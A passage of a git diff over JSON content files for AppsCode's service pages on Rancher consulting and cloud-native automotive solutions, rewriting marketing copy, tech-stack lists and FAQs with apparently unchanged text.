on-premises clusters and public clouds such as AWS, Azure, and GCP, ensuring seamless operations and scalability across environments." - }, - { - "question": "How do you ensure security, reliability, and operational efficiency in Rancher?", - "answer": "We enforce security best practices including RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." - }, - { - "question": "What happens after Rancher consulting and implementation?", - "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our Rancher Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." - }, - { - "question": "How much do Rancher Consulting Services cost, and what are the pricing models?", - "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Rancher by SUSE Consulting Services by Experts", + "subtitle": "AppsCode is a certified SUSE partner — delivering expert Rancher consulting, deployment, optimization, and managed enterprise support.", + "cta_text": "Talk to a Rancher Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "Rancher by SUSE Consulting Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Our Rancher Consulting Services?", + "areas": [ + { + "icon": "fa fa-lightbulb-o", + "title": "Agile & Scalable Rancher Architecture" + }, + { + "icon": "fa fa-tachometer", + "title": "High-Performance Rancher Deployments" + }, + { + "icon": "fa fa-cogs", + "title": "Accelerated App Development on Rancher" + }, + { + "icon": "fa fa-money", + "title": "Optimize Cloud & IT Infrastructure Costs" + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Cloud & Hybrid Rancher Flexibility" + }, + { + "icon": "fa fa-shield", + "title": "Self-Healing & Secure Container Environments" + }, + { + "icon": "fa fa-arrows-alt", + "title": "Migrate & Containerize Legacy Applications" + }, + { + "icon": "fa fa-repeat", + "title": "Automated CI/CD Rollouts & Rollbacks" + } + ] + }, + "service_details": { + "title": "Our End-to-End Rancher Consulting Services", + "subtitle": "As a certified SUSE partner and CNCF Silver Member, AppsCode delivers expert Rancher consulting — from planning to production management.", + "sections": [ + { + "title": "Rancher Advisory & Assessment", + "description": "Start your Rancher journey with confidence. Our experts assess your current infrastructure, plan seamless migration to Rancher-managed Kubernetes, and design a scalable architecture optimized for your environment.", + "offerings": [ + "Conduct infrastructure audits and plan Rancher adoption.", + "Create a roadmap for efficient Rancher deployment.", + "Provide detailed cost analysis and workload optimization." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Application Development & Migration", + "description": "Modernize your workloads with Rancher-native applications and migrate monoliths into containerized microservices for better agility and performance.", + "offerings": [ + "Develop Rancher-ready applications using Go, Java, and Python.", + "Break monolithic architectures into resilient microservices.", + "Implement centralized management across multi-cluster Rancher environments." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "Rancher Deployment & Operations", + "description": "Deploy production-grade Rancher clusters on-premises or in the cloud with high availability, resilience, and observability built in.", + "offerings": [ + "Provision auto-healing Kubernetes clusters using Rancher, RKE2, and K3s.", + "Integrate observability with Prometheus, Grafana, and Thanos.", + "Automate cluster scaling, upgrades, and security policies." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "DevSecOps, Security & Compliance", + "description": "Shift security left in your Rancher lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", + "offerings": [ + "Implement role-based access control (RBAC) and network segmentation.", + "Automate container image scanning with tools like Trivy and Clair.", + "Ensure compliance with ISO, HIPAA, and GDPR standards." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "Enterprise Rancher Support & Training", + "description": "AppsCode provides continuous Rancher support, training, and managed services to ensure operational excellence and long-term stability.", + "offerings": [ + "Real-time monitoring, backup, and disaster recovery using Stash.", + "Training for DevOps teams to manage Rancher independently.", + "Cost management and resource optimization for Rancher clusters." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in Rancher Consulting", + "subtitle": "Our Rancher consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", + "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and Rancher solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Highly available, compliant systems for secure 24/7 transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize systems for inspections, monitoring, and cost reduction." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Use cloud GPU instances for fast, secure processing of patient data." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations and instant updates with scalable systems." + } + ] + }, + "tech_stack": { + "title": "Our Rancher Technology Expertise", + "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade Rancher consulting services.", + "technologies": [ + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Accelerate with Rancher Consulting Services?", + "subtitle": "Get expert Rancher consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", + "buttons": [ + { + "text": "Talk to a Rancher Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode is the Right Rancher Consulting Partner?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "SUSE Certified Partner", + "description": "AppsCode is a verified SUSE partner. KubeDB is available as a Rancher Extension and our Helm charts are published in the Rancher Partner Charts repository." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "World-Class Rancher Expertise", + "description": "50+ engineers specializing in Rancher, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-trophy", + "title": "Industry Leadership", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise on Rancher." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Rancher Training Programs", + "description": "Hands-on Rancher workshops and cloud-native upskilling for DevOps teams." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scalable Dedicated Teams", + "description": "Easily scale your engineering teams with AppsCode's Rancher experts." + } + ] + }, + "partner_listing": { + "title": "Our Products in the SUSE Rancher Ecosystem", + "subtitle": "AppsCode is a certified SUSE partner. Our products are available as Rancher Extensions and Helm charts in the Rancher Partner Charts repository.", + "products": [ + { + "name": "KubeDB Rancher Extension", + "description": "Manage production-grade databases directly from the Rancher UI — deploy, monitor, and scale without leaving the dashboard.", + "url": "https://appscode.com/docs/en/guides/integrations/rancher-extension.html", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "Rancher Partner Charts", + "description": "AppsCode Helm charts are certified and published in the official Rancher Partner Charts repository for seamless deployment on Rancher-managed clusters.", + "url": "https://github.com/rancher/partner-charts", + "logo": "/assets/images/technical-expertise/rancher.svg" + } + ] + }, + "faq": [ + { + "question": "What do your Rancher Consulting Services include?", + "answer": "Our Rancher Consulting Services cover the full lifecycle of designing, deploying, and managing Rancher-managed Kubernetes clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Rancher by SUSE." + }, + { + "question": "Is AppsCode a certified SUSE Rancher partner?", + "answer": "Yes — AppsCode is a certified SUSE partner. KubeDB is available as a Rancher Extension for direct integration with the Rancher UI, and our Helm charts are published in the official Rancher Partner Charts repository. Learn more at appscode.com/docs/en/guides/integrations/rancher-extension.html." + }, + { + "question": "Which technologies and practices are used in Rancher consulting?", + "answer": "We leverage Rancher, RKE2, K3s, Helm charts, operators, containerization, CI/CD pipelines, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient Rancher environments." + }, + { + "question": "Can you work with our existing Rancher clusters or cloud-native stack?", + "answer": "Yes — we integrate with your current Rancher clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable Rancher deployments." + }, + { + "question": "What is the typical timeline and engagement model for Rancher Consulting Services?", + "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term Rancher advisory partnerships." + }, + { + "question": "Do you support hybrid and multi-cloud Rancher deployments?", + "answer": "Absolutely. Our Rancher Consulting Services are designed for portability and consistency across on-premises clusters and public clouds such as AWS, Azure, and GCP, ensuring seamless operations and scalability across environments." + }, + { + "question": "How do you ensure security, reliability, and operational efficiency in Rancher?", + "answer": "We enforce security best practices including RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." + }, + { + "question": "What happens after Rancher consulting and implementation?", + "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our Rancher Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." + }, + { + "question": "How much do Rancher Consulting Services cost, and what are the pricing models?", + "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." + } + ] +} diff --git a/data/services/industries/automotive_cloud_native_devops_services.json b/data/services/industries/automotive_cloud_native_devops_services.json index 1438a46fc1..73dd87366b 100644 --- a/data/services/industries/automotive_cloud_native_devops_services.json +++ b/data/services/industries/automotive_cloud_native_devops_services.json @@ -1,322 +1,322 @@ -{ - "hero": { - "title": "Cloud-Native Solutions for the Automotive Industry", - "subtitle": "Transform automotive operations, connected vehicles, and manufacturing systems with Kubernetes, microservices, and modern DevOps practices.", - "cta_text": "SPEAK WITH AN AUTOMOTIVE CLOUD EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/automotive-industry.png", - "alt": "Cloud Native for Automotive Industry" - } - }, - "trusted_by": { - "title": "Trusted by Leading Automotive & Mobility Companies" - }, - "title_with_small_cards": { - "title": "Stay Ahead in the Automotive Sector", - "subtitle": "Adopt cloud-native platforms to enhance safety, sustainability, and efficiency while maintaining compliance and competitiveness.", - "areas": [ - { - "icon": "fa fa-car", - "title": "11,000 lives expected to be saved by connected cars by 2025" - }, - { - "icon": "fa fa-lock", - "title": "$14.8M — Average cost of non-compliance with data policies in automotive firms" - }, - { - "icon": "fa fa-leaf", - "title": "400,000 tons of CO2 reduced from connected car adoption by 2025" - }, - { - "icon": "fa fa-rocket", - "title": "Enhanced operational efficiency and customer satisfaction across automotive value chains" - } - ] - }, - "large_preview_cards2": { - "title": "Cloud-Native Transformation Across Automotive Ecosystem", - "subtitle": "Automotive companies leveraging cloud-native platforms achieve faster, secure, and scalable operations, while those delaying modernization risk losing competitive advantage.", - "items": [ - { - "icon": "fa fa-cogs", - "title": "Manufacturers", - "description": "Real-time analysis of vehicle sensor data, predictive maintenance, and inventory management improve quality and reduce time-to-market." - }, - { - "icon": "fa fa-truck", - "title": "Suppliers", - "description": "Optimize supply chain, manage assets efficiently, and reduce operational costs with cloud-native tools." - }, - { - "icon": "fa fa-car", - "title": "Dealers", - "description": "Monitor vehicle performance, enhance after-sales service, and improve customer retention through analytics-driven insights." - }, - { - "icon": "fa fa-user", - "title": "Consumers", - "description": "Enjoy safer, more convenient, and digitally enriched automotive experiences with cloud-enabled applications." - } - ] - }, - "service_details": { - "title": "AppsCode Cloud-Native Services for Automotive Industry", - "subtitle": "Accelerate automotive digital transformation using Kubernetes, DevOps, and cloud-native practices across connected vehicles, manufacturing, and services.", - "sections": [ - { - "title": "Connected Vehicles", - "description": "Enable seamless data exchange between vehicles, infrastructure, and cloud platforms for telemetry, over-the-air updates, and fleet monitoring.", - "offerings": [ - "Efficient deployment solutions for remote updates and software launches.", - "Network topologies designed for scalability and reliability.", - "Enhanced observability for telematics, performance monitoring, and predictive analytics." - ], - "image": "/assets/images/services/connected-vehicles.png" - }, - { - "title": "Digital Manufacturing", - "description": "Transform manufacturing operations with cloud-native solutions that enable supply chain visibility, real-time analytics, and regulatory compliance.", - "offerings": [ - "Centralized data pipelines for supply chain analytics and demand forecasting.", - "Advanced cloud analytics for predictive production planning.", - "Secure, compliant workflows aligned with automotive industry standards." - ], - "image": "/assets/images/services/digital-manufacturing.png" - }, - { - "title": "Autonomous Vehicles", - "description": "Support large-scale autonomous vehicle data processing, orchestration, and analytics for safe, reliable, and optimized operations.", - "offerings": [ - "Data-driven anomaly detection and risk management for AV fleets.", - "Orchestration of analytics and AI/ML pipelines across multiple frameworks.", - "Optimized scalability, integration, and cloud performance for autonomous workloads." - ], - "image": "/assets/images/services/autonomous-vehicles.png" - }, - { - "title": "Customer Experience & Services", - "description": "Deliver engaging digital experiences through online platforms, mobile applications, and intelligent services.", - "offerings": [ - "Develop cloud-native applications for fast, secure, and user-centric experiences.", - "Design modern automotive products and interfaces focused on customer satisfaction.", - "Implement seamless integrations for connected services and mobility solutions." - ], - "image": "/assets/images/services/customer-experience-services.png" - }, - { - "title": "Security & Compliance", - "description": "Ensure connected vehicle cybersecurity and maintain compliance across automotive cloud systems.", - "offerings": [ - "Secure communication and data transmission across distributed automotive systems.", - "Align with global compliance standards (GDPR, PCI-DSS, CCPA, LGPD, POPIA, PSD2, GLBA).", - "Deploy auditable and resilient security frameworks for automotive cloud infrastructures." - ], - "image": "/assets/images/services/security-compliance.png" - } - ] - }, - "industries": { - "title": "Partnering With You Through Every Stage", - "subtitle": "From cloud-native strategy to implementation, ongoing monitoring, and maintenance, AppsCode ensures seamless adoption for automotive enterprises.", - "additional_text": "From OEMs to automotive startups, our certified engineers deliver expert cloud-native services.", - "sectors": [ - { - "icon": "fa fa-car", - "title": "Cloud-Native Consulting & Advisory", - "description": "Plan, strategize, and implement cloud-native solutions tailored to automotive industry requirements." - }, - { - "icon": "fa fa-cogs", - "title": "Application Modernization", - "description": "Refactor legacy automotive applications into microservices with Kubernetes and Docker for scalable deployment." - }, - { - "icon": "fa fa-users", - "title": "Team Augmentation", - "description": "Extend your engineering capacity with certified cloud-native and DevSecOps experts." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Training & Workshops", - "description": "Hands-on sessions on Kubernetes, CI/CD, observability, service mesh, and security best practices." - }, - { - "icon": "fa fa-briefcase", - "title": "Enterprise Managed Support", - "description": "24/7 operational support, monitoring, and proactive incident management for automotive cloud services." - }, - { - "icon": "fa fa-shield", - "title": "Security & Compliance", - "description": "Implement automotive cybersecurity measures and maintain compliance with global regulations." - } - ] - }, - "tech_stack": { - "title": "Automotive Cloud-Native Tech Stack", - "subtitle": "Certified engineers with expertise in Kubernetes, observability, DevSecOps, and cloud-native tools for automotive workloads.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Build Cloud-Native Automotive Platforms?", - "subtitle": "Partner with AppsCode to accelerate digital transformation in the automotive industry with Kubernetes and DevOps best practices.", - "buttons": [ - { - "text": "Talk to an Automotive Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for Automotive Cloud-Native Services?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Developers", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Domain Expertise", - "description": "100+ successful projects in automotive, connected vehicles, and mobility services." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Hands-on Training", - "description": "Practical workshops on Kubernetes, CI/CD, observability, and DevSecOps for automotive teams." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scalable Team Extension", - "description": "Expand engineering teams without hiring overhead using AppsCode expertise." - } - ] - }, - "faq": [ - { - "question": "What do your Cloud-Native Solutions for the Automotive Industry include?", - "answer": "Our services help automotive organizations modernize their software and IT infrastructure using cloud-native technologies. We cover connected vehicle platforms, telematics, IoT integration, microservices adoption, scalable cloud deployment, and secure application delivery." - }, - { - "question": "Which technologies and practices are used in cloud-native solutions for the automotive industry?", - "answer": "We leverage Kubernetes, Docker, microservices architecture, CI/CD pipelines, DevSecOps practices, cloud providers like AWS, Azure, and GCP, as well as observability and monitoring tools. This ensures resilient, scalable, and secure automotive applications and services." - }, - { - "question": "Can you integrate cloud-native solutions with our existing automotive systems?", - "answer": "Yes — we work with your existing vehicle software, telematics platforms, IoT systems, and manufacturing applications, modernize workloads, implement microservices patterns, and integrate cloud-native best practices while ensuring data security and compliance." - }, - { - "question": "What is the typical timeline and engagement model for cloud-native solutions in automotive?", - "answer": "Engagements typically start with a 1–2 week assessment of your infrastructure, applications, and integration needs. Implementation follows in 4–12 week phases depending on complexity. We offer fixed-scope projects, time-and-materials consulting, or long-term advisory partnerships." - }, - { - "question": "Do cloud-native solutions support multi-cloud or hybrid deployments for automotive organizations?", - "answer": "Absolutely. Our solutions are designed for multi-cloud and hybrid deployments, enabling seamless operations across AWS, Azure, GCP, and on-premises automotive infrastructure." - }, - { - "question": "How do you ensure security, compliance, and reliability in automotive applications?", - "answer": "We implement encryption, access controls, secure CI/CD pipelines, monitoring, and disaster recovery. These measures ensure automotive applications are secure, reliable, and compliant with industry standards and regulations." - }, - { - "question": "What happens after cloud-native solutions are implemented in the automotive industry?", - "answer": "After implementation, we provide ongoing support, monitoring, optimization, and knowledge transfer. Our services ensure automotive applications remain secure, scalable, and optimized for connected vehicle platforms and manufacturing systems." - }, - { - "question": "How much do cloud-native solutions for the automotive industry cost, and what are the pricing models?", - "answer": "Pricing depends on application complexity, number of systems, and ongoing support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Cloud-Native Solutions for the Automotive Industry", + "subtitle": "Transform automotive operations, connected vehicles, and manufacturing systems with Kubernetes, microservices, and modern DevOps practices.", + "cta_text": "SPEAK WITH AN AUTOMOTIVE CLOUD EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/automotive-industry.png", + "alt": "Cloud Native for Automotive Industry" + } + }, + "trusted_by": { + "title": "Trusted by Leading Automotive & Mobility Companies" + }, + "title_with_small_cards": { + "title": "Stay Ahead in the Automotive Sector", + "subtitle": "Adopt cloud-native platforms to enhance safety, sustainability, and efficiency while maintaining compliance and competitiveness.", + "areas": [ + { + "icon": "fa fa-car", + "title": "11,000 lives expected to be saved by connected cars by 2025" + }, + { + "icon": "fa fa-lock", + "title": "$14.8M — Average cost of non-compliance with data policies in automotive firms" + }, + { + "icon": "fa fa-leaf", + "title": "400,000 tons of CO2 reduced from connected car adoption by 2025" + }, + { + "icon": "fa fa-rocket", + "title": "Enhanced operational efficiency and customer satisfaction across automotive value chains" + } + ] + }, + "large_preview_cards2": { + "title": "Cloud-Native Transformation Across Automotive Ecosystem", + "subtitle": "Automotive companies leveraging cloud-native platforms achieve faster, secure, and scalable operations, while those delaying modernization risk losing competitive advantage.", + "items": [ + { + "icon": "fa fa-cogs", + "title": "Manufacturers", + "description": "Real-time analysis of vehicle sensor data, predictive maintenance, and inventory management improve quality and reduce time-to-market." + }, + { + "icon": "fa fa-truck", + "title": "Suppliers", + "description": "Optimize supply chain, manage assets efficiently, and reduce operational costs with cloud-native tools." + }, + { + "icon": "fa fa-car", + "title": "Dealers", + "description": "Monitor vehicle performance, enhance after-sales service, and improve customer retention through analytics-driven insights." + }, + { + "icon": "fa fa-user", + "title": "Consumers", + "description": "Enjoy safer, more convenient, and digitally enriched automotive experiences with cloud-enabled applications." + } + ] + }, + "service_details": { + "title": "AppsCode Cloud-Native Services for Automotive Industry", + "subtitle": "Accelerate automotive digital transformation using Kubernetes, DevOps, and cloud-native practices across connected vehicles, manufacturing, and services.", + "sections": [ + { + "title": "Connected Vehicles", + "description": "Enable seamless data exchange between vehicles, infrastructure, and cloud platforms for telemetry, over-the-air updates, and fleet monitoring.", + "offerings": [ + "Efficient deployment solutions for remote updates and software launches.", + "Network topologies designed for scalability and reliability.", + "Enhanced observability for telematics, performance monitoring, and predictive analytics." + ], + "image": "/assets/images/services/connected-vehicles.png" + }, + { + "title": "Digital Manufacturing", + "description": "Transform manufacturing operations with cloud-native solutions that enable supply chain visibility, real-time analytics, and regulatory compliance.", + "offerings": [ + "Centralized data pipelines for supply chain analytics and demand forecasting.", + "Advanced cloud analytics for predictive production planning.", + "Secure, compliant workflows aligned with automotive industry standards." + ], + "image": "/assets/images/services/digital-manufacturing.png" + }, + { + "title": "Autonomous Vehicles", + "description": "Support large-scale autonomous vehicle data processing, orchestration, and analytics for safe, reliable, and optimized operations.", + "offerings": [ + "Data-driven anomaly detection and risk management for AV fleets.", + "Orchestration of analytics and AI/ML pipelines across multiple frameworks.", + "Optimized scalability, integration, and cloud performance for autonomous workloads." + ], + "image": "/assets/images/services/autonomous-vehicles.png" + }, + { + "title": "Customer Experience & Services", + "description": "Deliver engaging digital experiences through online platforms, mobile applications, and intelligent services.", + "offerings": [ + "Develop cloud-native applications for fast, secure, and user-centric experiences.", + "Design modern automotive products and interfaces focused on customer satisfaction.", + "Implement seamless integrations for connected services and mobility solutions." + ], + "image": "/assets/images/services/customer-experience-services.png" + }, + { + "title": "Security & Compliance", + "description": "Ensure connected vehicle cybersecurity and maintain compliance across automotive cloud systems.", + "offerings": [ + "Secure communication and data transmission across distributed automotive systems.", + "Align with global compliance standards (GDPR, PCI-DSS, CCPA, LGPD, POPIA, PSD2, GLBA).", + "Deploy auditable and resilient security frameworks for automotive cloud infrastructures." + ], + "image": "/assets/images/services/security-compliance.png" + } + ] + }, + "industries": { + "title": "Partnering With You Through Every Stage", + "subtitle": "From cloud-native strategy to implementation, ongoing monitoring, and maintenance, AppsCode ensures seamless adoption for automotive enterprises.", + "additional_text": "From OEMs to automotive startups, our certified engineers deliver expert cloud-native services.", + "sectors": [ + { + "icon": "fa fa-car", + "title": "Cloud-Native Consulting & Advisory", + "description": "Plan, strategize, and implement cloud-native solutions tailored to automotive industry requirements." + }, + { + "icon": "fa fa-cogs", + "title": "Application Modernization", + "description": "Refactor legacy automotive applications into microservices with Kubernetes and Docker for scalable deployment." + }, + { + "icon": "fa fa-users", + "title": "Team Augmentation", + "description": "Extend your engineering capacity with certified cloud-native and DevSecOps experts." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Training & Workshops", + "description": "Hands-on sessions on Kubernetes, CI/CD, observability, service mesh, and security best practices." + }, + { + "icon": "fa fa-briefcase", + "title": "Enterprise Managed Support", + "description": "24/7 operational support, monitoring, and proactive incident management for automotive cloud services." + }, + { + "icon": "fa fa-shield", + "title": "Security & Compliance", + "description": "Implement automotive cybersecurity measures and maintain compliance with global regulations." + } + ] + }, + "tech_stack": { + "title": "Automotive Cloud-Native Tech Stack", + "subtitle": "Certified engineers with expertise in Kubernetes, observability, DevSecOps, and cloud-native tools for automotive workloads.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Build Cloud-Native Automotive Platforms?", + "subtitle": "Partner with AppsCode to accelerate digital transformation in the automotive industry with Kubernetes and DevOps best practices.", + "buttons": [ + { + "text": "Talk to an Automotive Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for Automotive Cloud-Native Services?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Developers", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Domain Expertise", + "description": "100+ successful projects in automotive, connected vehicles, and mobility services." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Hands-on Training", 